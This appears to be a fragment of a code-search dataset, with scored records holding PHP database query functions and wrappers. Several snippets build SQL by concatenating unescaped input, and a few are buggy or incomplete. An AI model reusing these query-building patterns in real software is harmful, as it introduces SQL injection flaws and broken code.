"a553d4da6654ebdfe959222cf1bfdf57", "score": "0.5756403", "text": "protected function getWithStatement()\n {\n return $this->processor->processSelect($this, $this->runOnSelectStatement());\n }", "title": "" }, { "docid": "bfa4410c132d94abb57356a3a86637b5", "score": "0.57278216", "text": "private function simple_sql_query() {\n $this->obj = $this->dbh->prepare($this->sql);\n $this->obj->execute();\n if ($this->debug) {\n $this->echo_in_pre($this->obj->errorInfo());\n }\n return $this->obj->fetchall(\\PDO::FETCH_ASSOC);\n }", "title": "" }, { "docid": "63fdcd80d58c3eb356f524f21aff5b85", "score": "0.5727211", "text": "public function select();", "title": "" }, { "docid": "63fdcd80d58c3eb356f524f21aff5b85", "score": "0.5727211", "text": "public function select();", "title": "" }, { "docid": "0ec758f768fe8964beab89ce8314c4af", "score": "0.5711731", "text": "private function SQLQuery($query,$type)\n\t{\n\t\t$result = mysqli_query($conn, $query);\n\t\tif($type == 1){ //Needs results NAOW?!\n\t\t\t$result = mysqli_result($result , 0);\n\t\t}\n\t\telse if($type == 0){ //Cause Arrays are BAMF.\n\t\t\t$result = mysqli_fetch_array($result);\n\t\t}\n\t\telse {}\n\t\treturn $result;\n\t}", "title": "" }, { "docid": "bf3e4622d7865729508bb189f327fa5a", "score": "0.5707712", "text": "function select()\n\t{\n\t\t$pk = $this->primary_key;\n\t\t$this->load($this->$pk);\n\t}", "title": "" }, { "docid": "6d60314d17a83447549285fcf6290c0b", "score": "0.5703731", "text": "abstract public function singleQuery($sql, $params = []);", "title": "" }, { "docid": "c9883f69486f45ead84b37f6683951a0", "score": "0.5700804", "text": "protected abstract function _query($sql);", "title": "" }, { "docid": "fe3cb0a437cb1f87ef5b2f4d397a768a", "score": "0.5689554", "text": "function select($query, $bindings = []);", "title": "" }, { "docid": "0c55d9b02ba1133c57fae7abeb02a781", "score": "0.5673646", "text": "function flatQuery($sql) {\r\n\t\t// debug($sql);\r\n\t\ttry {\r\n\t\t\t// Using the model's PDO connection to the DB, we just send a raw query and fetch all the results\r\n\t\t\t$result = $this->getDataSource()->getConnection()->query($sql)->fetchAll(PDO::FETCH_ASSOC);\r\n\t\t\treturn $result;\r\n\t\t} catch (Exception $e) {\r\n\t\t\tdebug($e);\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "655beff48b3921c6100a1fd58b742458", "score": "0.5671163", "text": "abstract protected function _query($sql);", "title": "" }, { "docid": "a281849cb5161715ef45df9c24409fbd", "score": "0.567013", "text": "public function select($solucion);", "title": "" }, { "docid": "7190bde92e1799e81f347558817569dc", "score": "0.566301", "text": "function select($sql) {\n\t\t\treturn mysql_query($sql);\n\t\t}", "title": "" }, { "docid": "d7644ab317588f173f974fa61ca0972e", "score": "0.56626034", "text": "public function fetch(){\n $select = $this->select()\n ->from(array('p' => 'postcode_merge'))\n ->join(array())\n ->where('ID = ?', $id);\n }", "title": "" }, { "docid": "2db41308579b3d664c3e609232095923", "score": "0.56600714", "text": "public static function query($sql)\n\t{\n\t\t$self = new static;\n\n\t\t$self->querySql = $sql;\n\n\t\tif (strstr(strtolower($sql), 'select')) {\n\t\t\treturn $self->model->_getSelectResult($sql);\n\t\t}\n\n\t\treturn $self->model->query($sql);\n\t}", "title": "" }, { "docid": "f07909fb93a4ff64dc3b0dc19ba349e0", "score": "0.56569654", "text": "public function db_getone($sql){\n\n $result=$this->db_select($sql);\n\t\n\treturn $result->fetch();\n\t\n}", "title": "" }, { "docid": "5168a2a1c68d102aaa466f14c063e855", "score": "0.5652548", "text": "public function load(Select $query) : RowSet;", "title": "" }, { "docid": "1d4f24e1071c8c78478478834786041b", "score": "0.5649228", "text": "public function selectQuery($sql, $fetchStyle)\n {\n $stmt = $this->connect()->query($sql)->fetchAll($fetchStyle);\n return $stmt;\n }", "title": "" }, { "docid": "d064f80202114ffd44c4cee29e7d08ee", "score": "0.56313646", "text": "public function query($type, $sql, $as_object) {\n $this->_connection or $this->connect();\n\n if (!empty($this->_config['profiling'])) {\n // Benchmark this query for the current instance\n $benchmark = Profiler::start(\"Database ({$this->_instance})\", $sql);\n }\n\n // Execute the query\n if (($result = pg_query($this->_connection, $sql)) === FALSE) {\n if (isset($benchmark)) {\n // This benchmark is worthless\n Profiler::delete($benchmark);\n }\n\n if ($type !== \\DB::SELECT && $this->_trans_enabled) {\n // If we are using transactions, throwing an exception would defeat the purpose\n // We need to log the failures for transaction status\n if (!is_array($this->trans_errors)) {\n $this->trans_errors = array();\n }\n\n $this->trans_errors[] = \"pgsql: Error running query.\\n[ {$sql} ]\\n\";\n } else {\n throw new \\Database_Exception(\"pgsql: \" . pg_last_error($this->_connection) . \".\\n[ {$sql} ]\");\n }\n }\n\n if (isset($benchmark)) {\n Profiler::stop($benchmark);\n }\n\n // Set the last query\n $this->last_query = $sql;\n\n if ($type === \\DB::SELECT) {\n // Return an iterator of results\n return new \\Database_Pgsql_Result($result, $sql, $as_object);\n } elseif ($type === \\DB::INSERT) {\n // Return a list of insert id and rows created\n // TODO! This is a little harder to do in postgresql. We need to \n // find out which table we inserted into. What the primary key is, \n // and return the current sequence value. The stuff we have to do to \n // get a stupid ID! Oh yeah, PostgreSQL supports multiple \n // incremented primary keys unlike MySQL.\n $dbname = pg_dbname($this->_connection); // We need this to narrow down which table.\n $table = \"\"; // some regex to get this string.\n $sql = \"\n\t\tSELECT c.*\n\t\tFROM information_schema.columns c\n\t\tJOIN information_schema.table_constraints tc USING (table_name, table_catalog)\n\t\tWHERE c.table_name = '{$table}' AND c.table_catalog = '{$dbname}' AND\n\t\ttc.constraint_type = 'PRIMARY KEY'\n\n\t\t\";\n $result = new \\Database_Pgsql_Result(pg_query($this->_connection, $sql), $sql, true);\n $inserted_id_tuple = array();\n while ($pk = $result->current()) {\n $default = $pk->column_default; // This will contain the name of the sequence.\n $seq = preg_match(\"/^nextval\\('(.*?)'::regclass/\", $default, $matches); // strips the sequence out.\n if (!$seq) {\n $inserted_id_tuple[$pk->column_name] = '';\n } else {\n $seqname = $matches[1];\n $sql = \"SELECT last_value FROM $seqname\";\n $idresult = new \\Database_Pgsql_Result(pg_query($this->_connection, $sql), $sql, true);\n $id = $idresult->current();\n if (!$id) {\n throw new Exception(\"Unable to get value of pk sequence.\\n[$sql]\\n\");\n }\n $inserted_id_tuple[$pk->column_name] = $id->last_value;\n }\n }\n // Now that some crazy way to find last inserted IDs is done, we \n // will continue.\n // TODO: Cache sequence-pk relations.\n if (count($inserted_id_tuple) == 1) {\n $inserted_id_tuple = array_pop($inserted_id_tuple);\n }\n return array(\n $inserted_id_tuple,\n pg_affected_rows($result),\n );\n } else {\n // Return the number of rows affected\n return pg_affected_rows($result);\n }\n }", "title": "" }, { "docid": "5cce945a4a06ad47307454302ea3adc0", "score": "0.5628282", "text": "function sql_query_select($select, $from, $where, $order)\n{\n if ($select != null && $from != null) {\n $query = \"SELECT \";\n\n // insert select elements\n $query .= $select;\n\n // insert from\n $query .= \" FROM \" . $from;\n\n // insert where clause\n if ($where != null) {\n $query .= \" WHERE \";\n $query .= $where;\n }\n\n if ($order != null) {\n $query .= \" ORDER BY \";\n $query .= $order;\n }\n\n return $query;\n } else {\n return null;\n }\n}", "title": "" }, { "docid": "07ac57c7eef35507318169d57cd07a1c", "score": "0.56228435", "text": "public function selectRow() {\n if (func_num_args() >= 1) {\n $args = func_get_args();\n $result = $this->_executeQuery($args);\n $result = $this->_sth->fetch(PDO::FETCH_ASSOC);\n // http://www.php.net/manual/en/pdostatement.fetch.php#74262\n $this->_sth->closeCursor();\n if (preg_match('/ARRAY_KEY/six', $this->_query)) {\n $result = $this->_transformResult($result, 'ARRAY_KEY');\n }\n $this->_cleanQueryParams();\n return $result;\n }\n else {\n return null;\n }\n }", "title": "" }, { "docid": "899a84b17a5a6f102981d62fe9ea6095", "score": "0.561969", "text": "private function select($where, $var=\"*\", $singleRow=false) {\n $sql = \"SELECT \".$var.\" FROM \".$this->getTable().\" WHERE $where\";\n $result = $this->getDb()->query($sql);\n if ($result->num_rows == 0) {\n return null;\n }\n if ($result->num_rows == 1) {\n return $this->processRowSet($result, true);\n }\n return $this->processRowSet($result, $singleRow);\n }", "title": "" }, { "docid": "54f3e498009994ef2ce054d72f75859f", "score": "0.5617928", "text": "abstract public function getSelect();", "title": "" }, { "docid": "8ed273a91b1f2a27de578b8019f4edc9", "score": "0.5610109", "text": "public function raw(string $sql, array $values, string $fetch = '', int $returntype = \\PDO::FETCH_OBJ);", "title": "" }, { "docid": "8c9990f3b25d5ea65bededd8c653022e", "score": "0.5605874", "text": "function adHocQuery($q) {\r\n global $db;\r\n $st = $db -> prepare($q);\r\n $st -> execute();\r\n return $st -> fetchAll(PDO::FETCH_ASSOC);\r\n}", "title": "" }, { "docid": "83c6f51778057a2b65fee13d22a77286", "score": "0.56049836", "text": "public function runOnSelectStatement()\n {\n return $this->connection->select($this->getSql(), $this->getBindings());\n }", "title": "" }, { "docid": "0c2398908f59346d4bec516843ddd2f6", "score": "0.5600047", "text": "public function select($tble, $data = array()){\r\n $sql = 'SELECT ';\r\n $sql .= array_key_exists(\"select\", $data)? $data['select']:'*';\r\n $sql .= ' FROM '.$tble;\r\n\r\n if (array_key_exists(\"where\", $data)) {\r\n $sql .= ' WHERE ';\r\n $i = 0;\r\n foreach ($data['where'] as $key => $value) {\r\n $add = ($i> 0)?' AND ': '';\r\n $sql .= \"$add\".\"$key=:$key\";\r\n $i++;\r\n }\r\n\r\n }\r\n\r\n\r\n if (array_key_exists(\"order_by\", $data)) {\r\n $sql .= ' ORDER BY '.$data['order_by'];\r\n }\r\n\r\n\r\n if (array_key_exists(\"start\", $data) && array_key_exists(\"end\", $data)) {\r\n $sql .=' LIMIT '.$data['start'].','.$data['end'];\r\n }elseif (!array_key_exists(\"start\", $data) && array_key_exists(\"end\", $data)){\r\n $sql .=' LIMIT '.$data['end'];\r\n }\r\n\r\n $stmt = $this->prepare($sql);\r\n if (array_key_exists(\"where\", $data)) {\r\n\r\n foreach ($data['where'] as $key => $value) {\r\n $stmt->bindValue(\":$key\", $value);\r\n }\r\n\r\n }\r\n\r\n $stmt->execute();\r\n\r\n if (array_key_exists(\"return_type\", $data)) {\r\n switch ($data['return_type']) {\r\n case 'count':\r\n $value = $stmt->rowCount();\r\n break;\r\n\r\n case 'single':\r\n $value = $stmt->fetch(PDO::FETCH_ASSOC);\r\n break;\r\n\r\n default:\r\n $value = '';\r\n break;\r\n }\r\n }else{\r\n if ($stmt->rowCount() > 0) {\r\n $value = $stmt->fetchAll();\r\n }\r\n }\r\n\r\n return !empty($value)?$value:false;\r\n\r\n\r\n\r\n }", "title": "" }, { "docid": "b8d5e21eb3e623438595c0fb363c69bf", "score": "0.5599804", "text": "protected function select(){\n \n // generate the select query.\n $query=$this->generate_select_query();\n \n // connect to database.\n $this->database_connect();\n \n // run the query.\n $database_type=$this->db_type;\n $this->result=@$database_type::select($query, self::$db_link);\n \n $database_type::close(self::$db_link);\n self::$db_link=null;\n // reset\n $this->reset();\n \n }", "title": "" }, { "docid": "10099045f791e24f9c285fec139dfd9f", "score": "0.55953676", "text": "public function sql_fetch_single($res, $type = 'array')\n\t{\n\t\tswitch ($type) \n\t\t{\n\t\t\tcase \"array\":\n\t\t\t\treturn $row = $this->sql_result($res);\n\t\t\t\tbreak;\n\n\t\t\tcase \"object\":\n\t\t\t\treturn $row = $this->sql_result($res, PDO::FETCH_OBJ);\n\t\t\t\tbreak;\n\n\t\t\tdefault;\n\t\t\t\tbreak;\n\t\t}\n\t}", "title": "" }, { "docid": "1b0b02064af603c557706b4651e07213", "score": "0.55924827", "text": "static function select_one($dao, $table, $keys, $where) {\n\t\t\t$obj = new DataObject();\n\t\t\t$obj->table = $table;\n\t\t\t$obj->dao = $dao;//Reference to the dao stored\n\t\t\t$obj->update = true;//This will be updated on commit\n\n\t\t\t$query_where = $obj->key_values($where);\n\t\t\t$query_part = implode(\",\",$keys);\n\t\t\t$query = \"SELECT \".$query_part.\" FROM \".$table.\" WHERE \".implode(\" AND \",$query_where).\";\";\n\n\t\t\t$dao->myquery($query);\n\n\t\t\t$query_obj = $dao->fetch_one_part($keys);\n\n\t\t\tif ($query_obj) {\n\t\t\t\tforeach ($keys as $key) {\n\t\t\t\t\t$obj->{$key} = $query_obj[$key];\n\t\t\t\t}\n\t\t\t\t$obj->determine_primary();\n\t\t\t} else {\n\t\t\t\t$obj = NULL;\n\t\t\t}\n\t\t\treturn $obj;\n\t\t}", "title": "" }, { "docid": "74f02dc808ec8c9221b3b597bf615000", "score": "0.5588256", "text": "public function fetchSingle()\n\t{\n\t\tif ($this->command === 'SELECT') {\n\t\t\treturn $this->query($this->_export(NULL, array('%lmt', 1)))->fetchSingle();\n\t\t} else {\n\t\t\treturn $this->query($this->_export())->fetchSingle();\n\t\t}\n\t}", "title": "" }, { "docid": "f4cdb074e1c88d099e6eb725b98355fb", "score": "0.5582011", "text": "public function run_select($query, $singleResult = false, $params = array()) {\t\t\n\t\tif (!$this->link) return false;\n\t\tif ($this->model->debug()) $time = microtime_float();\n\t\t$result = $this->run_query($query);\n\t\t$return = array();\n\n\t\t$transpose = request($params['transpose']);\n\t\t$selectValue = $selectKey = false;\n\t\tif ($transpose) {\n\t\t\tif (is_string($transpose)) $selectKey = $transpose;\n\t\t\telseif (is_array($transpose)) {\n\t\t\t\tif (is_vector($transpose) and count($transpose) == 2) {\n\t\t\t\t\t$selectKey = $transpose[0];\n\t\t\t\t\t$selectValue = $transpose[1];\n\t\t\t\t} else {\n\t\t\t\t\t$selectKey = request($transpose['selectKey']);\n\t\t\t\t\t$selectValue = request($transpose['selectValue']);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\t$groupBy = request($params['arrayGroupBy']);\n\t\t$callback = request($params['callback']);\n\t\t\n\t\tif ($result && $this->num_rows($result) > 0) {\n\t\t\tif ($singleResult) {\n\t\t\t\t$return = $this->fetch($result);\n\t\t\t\tif ($callback) $return = call_user_func($callback, $return);\n\t\t\t\tif ($field = request($params['selectField'])) {\n\t\t\t\t\tif (array_key_exists($field, $return)) $return = $return[$field];\n\t\t\t\t}\n\t\t\t}\n\t\t\telse while($row = $this->fetch($result)) {\n\t\t\t\t// Run the callback first over the result\n\t\t\t\tif ($callback) $row = call_user_func($callback, $row);\n\t\t\t\t// Then see if we need to group the result\n\t\t\t\tif ($groupBy && array_key_exists($groupBy, $row)) {\n\t\t\t\t\t$groupKey = $row[$groupBy];\n\t\t\t\t\tif ($groupKey === NULL) $groupKey = 'NULL';\n\t\t\t\t} else $groupKey = false;\n\t\t\t\t// Now check if we wish to transpose the result\n\t\t\t\tif ($transpose === true) {\n\t\t\t\t\tforeach($row as $key => $value)\t$groupKey !== false ? $return[$groupKey][$key][] = $value : $return[$key][] = $value;\n\t\t\t\t} elseif ($transpose and $selectKey and array_key_exists($selectKey, $row)) {\n\t\t\t\t\tif ($selectValue) {\n\t\t\t\t\t \tif ($selectValue === true) $groupKey !== false ? $return[$groupKey][$row[$selectKey]] = $row : $return[$row[$selectKey]] = $row;\n\t\t\t\t\t\telseif (isset($row[$selectValue])) $groupKey !== false ? $return[$groupKey][$row[$selectKey]] = $row[$selectValue] : $return[$row[$selectKey]] = $row[$selectValue];\n\t\t\t\t\t} elseif(request($row[$selectKey])) $groupKey !== false ? $return[$groupKey][] = $row[$selectKey] : $return[] = $row[$selectKey];\n\t\t\t\t} else $groupKey !== false ? $return[$groupKey][] = $row : $return[] = $row;\n\t\t\t}\n \t\t}\n\t\t\n \t\tif ($this->model->debug() && strpos($query, 'EXPLAIN') === false) {\n\t\t\t$this->runSelect[] = array(\n\t\t\t\t'query' => $query,\n\t\t\t\t'runtime' => microtime_float() - $time,\n\t\t\t\t'querytime' => $this->getRunningTime(),\n\t\t\t\t'scripttime' => microtime_float() - $time - $this->getRunningTime(),\n\t\t\t\t'transpose' => $params['transpose'],\n\t\t\t\t'arrayGroupBy' => $params['arrayGroupBy'],\n\t\t\t\t'callback' => $params['callback'] ? true : false,\n\t\t\t\t'explain' => ($this->model->options['db_explain'] and strpos($query, 'EXPLAIN') === false) ? $this->run_select('EXPLAIN EXTENDED ' . $query) : false\n\t\t\t);\n\t\t}\n\t\treturn $return;\n\t}", "title": "" }, { "docid": "09313745239d73ee93140e244f873b21", "score": "0.55794847", "text": "private function getSelectOneByType(string $type): string\n {\n if (empty($this->types[$type]['sql_select_by_ids'])) {\n $this->types[$type]['sql_select_by_ids'] = sprintf(\n 'SELECT %s FROM %s WHERE `id` IN ? ORDER BY `id`',\n $this->getTypeFieldsReadStatement($type),\n $this->getTypeTable($type, true)\n );\n }\n\n return $this->types[$type]['sql_select_by_ids'];\n }", "title": "" }, { "docid": "0dc8032bced7f81b95546c8b6263d625", "score": "0.55756766", "text": "function row($sql){\n\t\t\t$this->query(func_num_args() > 1 ? func_get_args():$sql);\n\n\t\t\t$ret = null;\n\t\t\tif($row = $this->fetch_assoc()) $ret = $row;\n\n\t\t\t$this->close_result();\n\n\t\t\treturn $ret;\n\t\t}", "title": "" }, { "docid": "f72d13594700e0a4c8af915bfcc6b356", "score": "0.5570782", "text": "function _executeSelectQuery() {\n\t\t$this->_executeDynamicQuery();\n\t}", "title": "" }, { "docid": "1deca6c72db236f512b0a86a138ac033", "score": "0.55699944", "text": "public function run() {\n self::setup_db();\n $statement = self::$db->prepare($this->build_select());\n $statement->execute($this->values);\n\n if ($this->find_type == self::FIND_ONE) {\n $result = $statement->fetch(PDO::FETCH_ASSOC);\n return $result ? self::for_table($this->table_name)->hydrate($result) : $result;\n } else {\n $instances = array();\n while ($row = $statement->fetch(PDO::FETCH_ASSOC)) {\n $instances[] = self::for_table($this->table_name)->hydrate($row);\n }\n return $instances;\n }\n }", "title": "" }, { "docid": "c1f90999171e392cad882e8fc6239825", "score": "0.5569399", "text": "public function SqlSelect($sql) {\n\t\t$a = func_get_args ();\n\t\tarray_shift ( $a );\n\t\t$a = (! $a) ? FALSE : $a;\n\t\tif (is_array ( $sql )) {\n\t\t\tforeach ( $sql as $query ) {\n\t\t\t\t$this->sql [] = $query;\n\t\t\t\t$out [] = $this->_SqlSelect ( $query, $a );\n\t\t\t}\n\t\t\treturn $out;\n\t\t} else {\n\t\t\t$this->sql [] = $sql;\n\t\t\treturn $this->_SqlSelect ( $sql, $a );\n\t\t}\n\t}", "title": "" }, { "docid": "31304ad3e9af44b71354193e54c65d6e", "score": "0.55598295", "text": "abstract public function fetch($type=DB_ASSOC);", "title": "" }, { "docid": "d1669d3459d32d0c65759633af01b4a9", "score": "0.5559086", "text": "public static function query($statement, $class, $one = false){\n $req = self::getPDO()->query($statement);\n $req->setFetchMode(PDO::FETCH_CLASS, $class);\n return self::defineIfOne($req, $one);\n }", "title": "" }, { "docid": "2d3c18ac8ee82a1b6026a341e566b5f9", "score": "0.55534214", "text": "function finishQuery($select_query, $id_key = 'entity_id') {\n foreach ($this->tags as $tag) {\n $select_query->addTag($tag);\n }\n foreach ($this->metaData as $key => $object) {\n $select_query->addMetaData($key, $object);\n }\n $select_query->addMetaData('entity_field_query', $this);\n if ($this->range) {\n $select_query->range($this->range['start'], $this->range['length']);\n }\n if ($this->count) {\n return $select_query->countQuery()->execute()->fetchField();\n }\n $return = array();\n foreach ($select_query->execute() as $partial_entity) {\n $bundle = isset($partial_entity->bundle) ? $partial_entity->bundle : NULL;\n $entity = entity_create_stub_entity($partial_entity->entity_type, array($partial_entity->entity_id, $partial_entity->revision_id, $bundle));\n $return[$partial_entity->entity_type][$partial_entity->$id_key] = $entity;\n $this->ordered_results[] = $partial_entity;\n }\n return $return;\n }", "title": "" }, { "docid": "add925ab85f131e1961f7a6edd40d741", "score": "0.5551592", "text": "abstract protected function query();", "title": "" }, { "docid": "c20628352055acc8d5f4997e06b60e3b", "score": "0.55511516", "text": "final public static function select($qs,$params=null) {\n return Db::hydrate(new static,'select * from `'.static::$table.'` where '.$qs,$params); \n }", "title": "" }, { "docid": "aea03f84951ccde389548af6fa3d4b4a", "score": "0.5550895", "text": "function fetch_one($sql,$cache_time = null) {\n\t\t# Check cached results\n\t\tif ($cached_result = $this->check_cache($sql)) {\n\t\t\treturn $cached_result;\n\t\t}\n \t\t# Execute the query\n\t\t$result = $this->query($sql);\n\t\t# Check to see if we got data back\n\t\tif ($this->num_rows($result) > 0) {\n\t\t\tlist($data) = $this->fetch($result);\n\t\t\t$this->free($result);\n\t\t\t$this->cache_result($sql,$data,$cache_time); \n\t\t\treturn $data;\n\t\t}\n\t\treturn null;\n\t}", "title": "" }, { "docid": "3d57bca58fad0980c6e093e4a0f96907", "score": "0.55481315", "text": "protected function wrapUnion($sql)\n {\n return 'select * from ('.$sql.')';\n }", "title": "" }, { "docid": "df705f6cfeeb562d8eb310593ff7a139", "score": "0.5546462", "text": "public function prepareResultSetSql($where = null, $order = null, $count = null, $offset = null, $cols = null)\n {\n\n// /*@var $sqlSelect Zend_Db_Select*/\n $sqlSelect = new Select();\n\n $fromCols = array();\n if ($cols !== null && is_array($cols) && count($cols)) {\n $fromCols = $cols;\n } else {\n $fromCols[] = '*';\n }\n\n //from\n $sqlSelect->columns(\n $fromCols,\n true\n );\n\n $sqlSelect->from($this->table);\n\n\n// foreach ($this->_behaviourObjects as $behaviourObject) {\n// $sqlSelect = $behaviourObject->applyBehaviourToSql(\n// $sqlSelect,\n// $where,\n// $order,\n// $count,\n// $offset,\n// $cols\n// );\n// }\n\n\n// //where\n// if ($where!==null) {\n// if (is_array($where)) {\n// foreach ($where as $w) {\n// $sqlSelect->where($w);\n// }\n// } else {\n// $sqlSelect->where($where);\n// }\n// }\n\n if ($where instanceof \\Closure) {\n $where($select);\n } elseif ($where !== null) {\n $sqlSelect->where($where);\n }\n\n\n //limit\n $sqlSelect->limit($count);\n $sqlSelect->offset($offset);\n\n //order\n if (is_array($order) || is_string($order)) {\n $sqlSelect->order($order);\n }\n// \\Zend\\Debug::dump($sqlSelect->getSqlString());\n// echo $sqlSelect->getSqlString($this->adapter->getPlatform());\n\n return $sqlSelect;\n }", "title": "" }, { "docid": "df6825b0578945dea696614ba7c910ec", "score": "0.554401", "text": "public function select() {\n if (func_num_args() >= 1) {\n $args = func_get_args();\n $result = $this->_executeQuery($args);\n $result = $this->_sth->fetchAll(PDO::FETCH_ASSOC);\n if (preg_match('/ARRAY_KEY/six', $this->_query)) {\n $result = $this->_transformResult($result, 'ARRAY_KEY');\n }\n $this->_cleanQueryParams();\n return $result;\n }\n else {\n return null;\n }\n }", "title": "" }, { "docid": "de2b56bd70087e06a87743db085d6022", "score": "0.55347776", "text": "public function find_by_sql($sql) {\n return $this->db->fetch_one($sql);\n }", "title": "" }, { "docid": "bd6a9fb4054a8cdeb1af0ad37e744694", "score": "0.55339664", "text": "public function getRow($sql);", "title": "" }, { "docid": "1ea8cfb250cb2d5dd1fef8014ae80023", "score": "0.55339366", "text": "public function select($sql, $where = [], $fetchMode = \\PDO::FETCH_OBJ)\r\n {\r\n $sth = $this->prepare($sql);\r\n foreach ($where as $key => $value) {\r\n $sth->bindValue(\":$key\", $value);\r\n }\r\n $sth->execute();\r\n return $sth->fetchAll($fetchMode);\r\n }", "title": "" }, { "docid": "97b47c15e3c41961cb4b91bcebb3ab5e", "score": "0.553372", "text": "public function __construct() {\n $this->baseSql = \"select * from slslogevent where /**/ \n UNION \n select * From slslogevent where mainid in (\n select id from slslogevent where /**/ )\n order by id\";\n }", "title": "" }, { "docid": "599b3d458ecae5c515197741810dfb1b", "score": "0.55287004", "text": "public function first()\n\t{\n\t\t$dataQuery = $this->convertQuery();\n\t\treturn $this->select( $dataQuery )[0];\n\n\t}", "title": "" }, { "docid": "4870ba079296bd87a37d55f6f0f2d31f", "score": "0.5528403", "text": "public function Query($sql, $getFirstRowOnly=false, $fetch_type=null, $colum_index=null)\r\n\t{\r\n\t\t//error_log($sql);\r\n\t\treturn $this->E->Query($sql,$getFirstRowOnly, $fetch_type, $colum_index);\r\n\t}", "title": "" }, { "docid": "2d14aa00ba1408ab8011085a98656f67", "score": "0.5516911", "text": "public function getInternalResult(): \\PDOStatement;", "title": "" }, { "docid": "0e31463ce11664277e4ca7565aa04a4b", "score": "0.55075175", "text": "function query_bound_first($query_string, $arr_parms)\n {\n // does a query and returns first row\n $query_id = $this -> query_bound($query_string, $arr_parms);\n $returnobj = $this -> fetch_object($query_id);\n $this -> free_result($query_id);\n return $returnobj;\n }", "title": "" }, { "docid": "794960801d6d497b00a162799cd3f22f", "score": "0.54976183", "text": "function pdo_query_one($sql){\n $sql_args = array_slice(func_get_args(),1);\n try{\n $conn =pdo_get_connection();\n $stmt =$conn->prepare($sql);\n $stmt -> execute($sql_args);\n $row =$stmt->fetch(PDO::FETCH_ASSOC);\n return $row;\n }catch(PDOException $e){\n throw $e;\n }\n finally{\n unset($conn);\n }\n}", "title": "" }, { "docid": "938b439d511d0c963945c54a5b0b7c38", "score": "0.5493016", "text": "static public function getOne($sql){\n $db = new DbHelper(TCommon::$dbConfig);\n $item = $db->querySql($sql);\n return $item->fetch();\n }", "title": "" }, { "docid": "4bd2d174a723751fb0264550dfa1fa89", "score": "0.54884535", "text": "function FetchByID()\n\t{\n\t\tglobal $dal_info;\n\t\t$tableinfo = &$dal_info[ $this->infoKey ];\n\n\t\t$dal_where = \"\";\n\t\tforeach($tableinfo as $fieldname => $fld)\n\t\t{\n\t\t\t$command = 'if(isset($this->'.$fld['varname'].')) { ';\n\t\t\t$command.= '$this->Value[\\''.escapesq($fieldname).'\\'] = $this->'.$fld['varname'].';';\n\t\t\t$command.= ' }';\n\t\t\t\n\t\t\teval($command);\n\t\t\t\n\t\t\tforeach($this->Param as $field => $value)\n\t\t\t{\n\t\t\t\tif( strtoupper($field) != strtoupper($fieldname) )\n\t\t\t\t\tcontinue;\n\t\t\t\t\t\n\t\t\t\t$dal_where.= $this->_connection->addFieldWrappers( $fieldname ).\"=\".$this->PrepareValue($value, $fld[\"type\"]) . \" and \";\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\t// cleanup\n\t\t$this->Reset();\n\t\t// construct and run SQL\n\t\tif ($dal_where)\n\t\t\t$dal_where = \" where \".substr($dal_where, 0, -5);\n\t\t\t\n\t\t$dalSQL = \"select * from \".$this->_connection->addTableWrappers( $this->m_TableName ).$dal_where;\n\t\treturn $this->_connection->query( $dalSQL );\n\t}", "title": "" }, { "docid": "5cf94f770b42edd9f4756b2c28d802da", "score": "0.5486508", "text": "public static function find_by_sql($sql=\"\") {\n global $db;\n $result_set = $db->query($sql);\n $object_array = array();\n while ($row = $db->fetch_array($result_set)) {\n $object_array[] = self::instantiate($row);\n }\n return $object_array;\t\t\n }", "title": "" }, { "docid": "b7aef1b75f60fb8e16d16f4209b8631a", "score": "0.54850817", "text": "protected function runSelect()\n {\n return $this->handler->setBuilder($this)->cacheQuery(function() {\n return parent::runSelect();\n });\n }", "title": "" }, { "docid": "b52e47453b5e9298892af405112893ee", "score": "0.54836005", "text": "function execute($sql, $db, $type = 'mysql') \r\n { \r\n global $row; \r\n\r\n $this->row = $row; \r\n\r\n $start = $this->row * $this->rows_per_page; \r\n\r\n if ($type == 'mysql') \r\n { \r\n $result = mysql_query($sql, $db); \r\n $this->total_records = mysql_num_rows($result); \r\n $sql .= \" LIMIT $start, $this->rows_per_page\"; \r\n $result = mysql_query($sql, $db); \r\n } \r\n \r\n elseif ($type == 'pgsql') \r\n { \r\n $result = pg_Exec($db, $sql); \r\n $this->total_records = pg_NumRows($result); \r\n $sql .= \" LIMIT $this->rows_per_page, $start\"; \r\n $result = pg_Exec($db, $sql); \r\n } \r\n\r\n return $result; \r\n }", "title": "" }, { "docid": "36590ed809cb1ec92487db511fc7ea23", "score": "0.5479782", "text": "function simple_select( $get, $table, $where=\"\" )\n {\n \t\n \t$this->cur_query .= \"SELECT $get FROM \".SQL_PREFIX.\"$table\";\n \t\n \tif ( $where != \"\" )\n \t\t$this->cur_query .= \" WHERE \".$where;\n }", "title": "" }, { "docid": "4d973785af0fd366358ea2bab79468b4", "score": "0.54794323", "text": "public function queryFirstField($query);", "title": "" }, { "docid": "0ad3032b62ec010059e62794b59ad63e", "score": "0.5477451", "text": "function select($retField, $table, $where=\"\", $groupby=\"\", $orderby=\"\", $limit=\"\") {\r\n\t\t$this->checkCOnnection();\r\n\r\n\t\t$fields = implode(\",\", $retField);\r\n\t\tif ($where!=\"\") {\r\n\t\t\t$q = \"select $fields from $table WHERE $where\";\r\n\t\t} else {\r\n\t\t\t$q = \"select $fields from $table\";\r\n\t\t}\r\n\t\tif ($groupby!=\"\") {\r\n\t\t\t$q .= \" GROUP BY $groupby\";\r\n\t\t}\r\n\t\tif ($orderby!=\"\") {\r\n\t\t\t$q .= \" ORDER BY $orderby\";\r\n\t\t}\r\n\t\tif ($limit!=\"\") {\r\n\t\t\t$q .= \" LIMIT $limit\";\r\n\t\t}\r\n\t\t//echo \"$q\";exit;\r\n\t\t$this->sql = $q;\r\n\t\tif ($this->debug==1) {\r\n\t\t\t$this->log();\r\n\t\t}\r\n\t\t$r = mysqli_query($this->dbLink ,$q );\r\n\t\tif (!($r)) {\r\n\t\t\tif ($this->error_debug==1) {\r\n\t\t\t\t$this->error_log();\r\n\t\t\t}\r\n\t\t}\r\n\t\t$num=mysqli_num_rows($r);\r\n\t\t$i=0;\r\n\t\twhile ($row=mysqli_fetch_object($r)) {\r\n\t\t\t$cont[$i] = $row;\r\n\t\t\t$i++;\r\n\t\t}\r\n\t\tif (mysqli_num_rows($r)>0) {\r\n\t\t\treturn $cont;\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "59ba84c70da074f7e23ef223d84a6501", "score": "0.547585", "text": "function doSelect($strSelect,$strFrom,$strWhere=null,$strGroupBy=null,$strOrderBy=null) 